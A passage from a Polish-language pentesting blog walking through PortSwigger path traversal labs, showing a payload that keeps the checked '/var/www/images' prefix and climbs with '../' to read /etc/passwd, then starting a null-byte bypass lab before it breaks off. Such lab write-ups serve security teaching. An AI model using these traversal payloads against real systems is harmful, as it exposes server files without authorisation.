<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1.png" alt="File path traversal, validation of start of path" class="wp-image-15130" data-mwl-img-id="15130"/></a></figure>



<p class="wp-block-paragraph">Spójrzmy na źródło strony. Jak widać na poniższym zrzucie parametr <code>filename</code> zawiera pełną ścieżkę do obrazka:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2.png"><img loading="lazy" decoding="async" width="1024" height="620" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1024x620.png" alt="File path traversal, validation of start of path" class="wp-image-15090" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-1024x620.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-300x182.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2-768x465.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-2.png 1142w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15090" /></a></figure>



<pre class="wp-block-code"><code class="">/image?filename=/var/www/images/48.jpg</code></pre>



<p class="wp-block-paragraph">Aplikacja sprawdza, czy ścieżka zaczyna się od oczekiwanych wartości, w tym przypadku ścieżki bezwzględnej <code>/var/www/images</code>.</p>



<p class="wp-block-paragraph">Sprawdźmy, czy możliwe jest użycie poniższego payloadu.  Zostawiamy początek ścieżki, czyli fragment który jest sprawdzany przez mechanizm zabezpieczający. Następnie próbujemy wyjść ponad te katalogi za pomocą sekwencji <code>../</code></p>



<pre class="wp-block-code"><code class="">/var/www/images/../../../etc/passwd</code></pre>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1.png"><img loading="lazy" decoding="async" width="1024" height="502" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-1024x502.png" alt="" class="wp-image-15104" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-1024x502.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-300x147.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-768x377.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1-1536x753.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-start-of-path-1.png 1542w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15104" /></a></figure>



<h2 class="wp-block-heading">File Path Traversal, validation of file extension with null byte bypass &#8211; zadanie numer 6</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_05e11d-59"><a class="kb-button kt-button button kb-btn14995_a1502c-ef kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2.png"><img loading="lazy" decoding="async" width="728" height="117" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2.png" alt="" class="wp-image-15132" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2.png 728w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-2-2-300x48.png 300w" sizes="auto, (max-width: 728px) 100vw, 728px" data-mwl-img-id="15132" /></a></figure>



<p class="wp-block-paragraph">W kolejnym zadaniu również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów. Jest za to pewne utrudnienie polegające na ty